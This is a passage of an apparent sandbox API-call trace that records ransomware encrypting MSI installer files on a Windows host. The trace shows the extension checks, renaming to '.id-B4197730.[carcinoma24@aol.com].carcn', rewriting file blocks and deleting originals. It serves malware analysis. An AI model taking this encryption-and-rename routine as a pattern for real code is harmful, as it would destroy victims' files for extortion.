4 [0161.925] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.925] lstrlenW (lpString=".xlsx") returned 5 [0161.925] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0161.925] lstrlenW (lpString=".ppt") returned 4 [0161.925] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.925] lstrlenW (lpString=".zip") returned 4 [0161.925] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.925] lstrlenW (lpString=".rar") returned 4 [0161.925] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.925] lstrlenW (lpString=".bz2") returned 4 [0161.925] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.925] lstrlenW (lpString=".7z") returned 3 [0161.925] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.925] lstrlenW (lpString=".dbf") returned 4 [0161.925] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.925] lstrlenW (lpString=".1cd") returned 4 [0161.925] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.925] lstrlenW (lpString=".jpg") returned 4 [0161.925] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.925] lstrlenW (lpString=".doc") returned 4 [0161.926] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.926] lstrlenW (lpString=".docx") returned 5 [0161.926] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0161.926] lstrlenW (lpString=".pdf") returned 4 [0161.926] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.926] lstrlenW (lpString=".xls") returned 4 [0161.926] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.926] lstrlenW (lpString=".xlsx") returned 5 [0161.926] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0161.926] lstrlenW (lpString=".ppt") returned 4 [0161.926] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.926] lstrlenW (lpString=".zip") returned 4 [0161.926] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.926] lstrlenW (lpString=".rar") returned 4 [0161.926] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.926] lstrlenW (lpString=".bz2") returned 4 [0161.926] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.926] lstrlenW (lpString=".7z") returned 3 [0161.926] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.926] lstrlenW (lpString=".dbf") returned 4 [0161.926] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.926] lstrlenW (lpString=".1cd") returned 4 [0161.926] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0161.926] lstrlenW (lpString=".jpg") returned 4 [0161.926] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.926] lstrcmpiW (lpString1=".msi", lpString2=".carcn") returned 1 [0161.926] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0161.927] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.936] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=1901056) returned 1 [0161.936] CloseHandle (hObject=0x2fc) returned 1 [0161.936] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0161.936] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.936] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0161.939] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.939] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0x0) returned 1 [0161.939] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0161.939] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3bd6058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.179] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0162.179] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c16058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3c16058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.382] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.382] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0162.383] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c56058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3c56058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0162.650] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0162.650] WriteFile (in: hFile=0x2fc, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2fefca8, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefca8*=0xc0110, lpOverlapped=0x0) returned 1 [0162.669] SetEndOfFile (hFile=0x2fc) returned 1 [0162.669] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43100b0 [0162.673] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0162.673] WriteFile (in: hFile=0x2fc, lpBuffer=0x43100b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43100b0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0162.674] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0162.674] WriteFile (in: hFile=0x2fc, lpBuffer=0x43100b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43100b0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.248] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0163.248] WriteFile (in: hFile=0x2fc, lpBuffer=0x43100b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43100b0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.249] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43100b0 | out: hHeap=0x790000) returned 1 [0163.253] CloseHandle (hObject=0x2fc) returned 1 [0163.453] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0163.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.453] lstrlenW (lpString=".doc") returned 4 [0163.453] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.453] lstrlenW (lpString=".docx") returned 5 [0163.453] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0163.453] lstrlenW (lpString=".pdf") returned 4 [0163.453] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.453] lstrlenW (lpString=".xls") returned 4 [0163.453] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.453] lstrlenW (lpString=".xlsx") returned 5 [0163.453] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0163.453] lstrlenW (lpString=".ppt") returned 4 [0163.453] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.454] lstrlenW (lpString=".zip") returned 4 [0163.454] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.454] lstrlenW (lpString=".rar") returned 4 [0163.454] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.454] lstrlenW (lpString=".bz2") returned 4 [0163.454] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.454] lstrlenW (lpString=".7z") returned 3 [0163.454] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.454] lstrlenW (lpString=".dbf") returned 4 [0163.454] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.454] lstrlenW (lpString=".1cd") returned 4 [0163.454] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.454] lstrlenW (lpString=".jpg") returned 4 [0163.454] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.454] lstrlenW (lpString=".doc") returned 4 [0163.454] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.454] lstrlenW (lpString=".docx") returned 5 [0163.454] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0163.454] lstrlenW (lpString=".pdf") returned 4 [0163.454] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.454] lstrlenW (lpString=".xls") returned 4 [0163.454] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.454] lstrlenW (lpString=".xlsx") returned 5 [0163.454] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0163.454] lstrlenW (lpString=".ppt") returned 4 [0163.454] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.454] lstrlenW (lpString=".zip") returned 4 [0163.454] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.455] lstrlenW (lpString=".rar") returned 4 [0163.455] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.455] lstrlenW (lpString=".bz2") returned 4 [0163.455] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.455] lstrlenW (lpString=".7z") returned 3 [0163.455] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.455] lstrlenW (lpString=".dbf") returned 4 [0163.455] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.455] lstrlenW (lpString=".1cd") returned 4 [0163.455] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0163.455] lstrlenW (lpString=".jpg") returned 4 [0163.455] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.455] lstrcmpiW (lpString1=".msi", lpString2=".carcn") returned 1 [0163.455] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0163.455] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0163.455] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=495616) returned 1 [0163.455] CloseHandle (hObject=0x2fc) returned 1 [0163.455] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0163.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0163.456] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.456] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.460] GetLastError () returned 0x0 [0163.460] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x79000, lpOverlapped=0x0) returned 1 [0163.657] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x79010, lpOverlapped=0x0) returned 1 [0163.665] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0163.666] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x100, lpOverlapped=0x0) returned 1 [0163.666] SetEndOfFile (hFile=0x314) returned 1 [0163.666] CloseHandle (hObject=0x314) returned 1 [0163.673] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.673] SetEndOfFile (hFile=0x2fc) returned 1 [0163.677] CloseHandle (hObject=0x2fc) returned 1 [0163.677] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0163.677] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0163.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.678] lstrlenW (lpString=".doc") returned 4 [0163.678] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.678] lstrlenW (lpString=".docx") returned 5 [0163.678] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0163.678] lstrlenW (lpString=".pdf") returned 4 [0163.678] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.678] lstrlenW (lpString=".xls") returned 4 [0163.678] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.678] lstrlenW (lpString=".xlsx") returned 5 [0163.678] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0163.678] lstrlenW (lpString=".ppt") returned 4 [0163.678] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.678] lstrlenW (lpString=".zip") returned 4 [0163.678] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.678] lstrlenW (lpString=".rar") returned 4 [0163.678] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.678] lstrlenW (lpString=".bz2") returned 4 [0163.678] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.678] lstrlenW (lpString=".7z") returned 3 [0163.678] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.678] lstrlenW (lpString=".dbf") returned 4 [0163.678] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.679] lstrlenW (lpString=".1cd") returned 4 [0163.679] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.679] lstrlenW (lpString=".jpg") returned 4 [0163.679] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.679] lstrlenW (lpString=".doc") returned 4 [0163.679] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.679] lstrlenW (lpString=".docx") returned 5 [0163.679] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0163.679] lstrlenW (lpString=".pdf") returned 4 [0163.679] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.679] lstrlenW (lpString=".xls") returned 4 [0163.679] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.679] lstrlenW (lpString=".xlsx") returned 5 [0163.679] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0163.679] lstrlenW (lpString=".ppt") returned 4 [0163.679] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.679] lstrlenW (lpString=".zip") returned 4 [0163.679] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.679] lstrlenW (lpString=".rar") returned 4 [0163.679] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.679] lstrlenW (lpString=".bz2") returned 4 [0163.679] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.679] lstrlenW (lpString=".7z") returned 3 [0163.679] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.679] lstrlenW (lpString=".dbf") returned 4 [0163.679] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.679] lstrlenW (lpString=".1cd") returned 4 [0163.679] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0163.680] lstrlenW (lpString=".jpg") returned 4 [0163.680] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.680] lstrcmpiW (lpString1=".msi", lpString2=".carcn") returned 1 [0163.680] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0163.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0163.680] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=184832) returned 1 [0163.680] CloseHandle (hObject=0x2fc) returned 1 [0163.680] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0163.680] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0163.680] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.680] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0163.681] GetLastError () returned 0x0 [0163.681] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x2d200, lpOverlapped=0x0) returned 1 [0163.755] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x2d210, lpOverlapped=0x0) returned 1 [0163.758] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0163.758] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf4, lpOverlapped=0x0) returned 1 [0163.758] SetEndOfFile (hFile=0x314) returned 1 [0163.758] CloseHandle (hObject=0x314) returned 1 [0163.761] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0163.761] SetEndOfFile (hFile=0x2fc) returned 1 [0163.763] CloseHandle (hObject=0x2fc) returned 1 [0163.763] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0163.763] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0163.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.764] lstrlenW (lpString=".doc") returned 4 [0163.764] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.764] lstrlenW (lpString=".docx") returned 5 [0163.764] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0163.764] lstrlenW (lpString=".pdf") returned 4 [0163.764] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.764] lstrlenW (lpString=".xls") returned 4 [0163.764] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.764] lstrlenW (lpString=".xlsx") returned 5 [0163.764] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0163.764] lstrlenW (lpString=".ppt") returned 4 [0163.764] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.764] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0163.764] lstrlenW (lpString=".zip") returned 4 [0163.764] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.764] lstrlenW (lpString=".rar") returned 4 [0163.764] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.764] lstrlenW (lpString=".bz2") returned 4 [0163.764] lstrcmpiW (lpString1=".bz2", lpString2=".msi") 